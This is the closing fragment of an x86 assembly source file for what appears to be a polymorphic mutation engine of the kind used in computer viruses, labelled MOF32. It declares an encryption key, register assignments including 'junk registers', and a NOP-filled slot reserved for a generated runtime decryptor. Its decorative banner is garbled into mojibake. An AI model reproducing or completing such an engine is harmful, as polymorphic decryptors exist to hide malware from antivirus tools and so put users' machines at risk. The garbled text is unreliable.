11001000b ; ROR ; key dd 0 ; key2 dd 0 ; keyvalue dd 0 ; op1 dd 0 ; op2 dd 0 ; op3 dd 0 ; op4 dd 0 ; ; used_registers: ; creg Db 0 ; Register to hold the code lreg Db 1 ; Register to hold the length of code kreg Db 2 ; Register to hold the encryption key preg Db 3 ; Register to hold the pointer in code jreg1 Db 5 ; Junk register #1 jreg2 Db 6 ; Junk register #2 jreg3 Db 7 ; Junk register #3 ; counter dd 0 ; instruction counter misc db 0 ; misc data codeaddr dd 0 ; address of code codelength dd 0 ; code length mainlp dd 0 ; main loop address the_end dd 0 ; end_end dd 0 ; ; increment_flag db 0 ; flag ; MOF32 endp ; ; 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 ; ; 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 ; 谀哪 谀哪 ; M鶸鶯鶷鶬鶳鶯鶨 O鶳鶦鶲鶧鶨 F鶤鶱鶷鶤鶶鶬鶨鶶 32 B鶬鶷 ; 滥哪 e n d 滥哪 ; 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 谀哪 ; ; 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 滥哪 end_of_code: decrypt: ; where the runtime decryptor gets put... db 700h dup (90h) ; jmp realstart ; end: end start end ;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北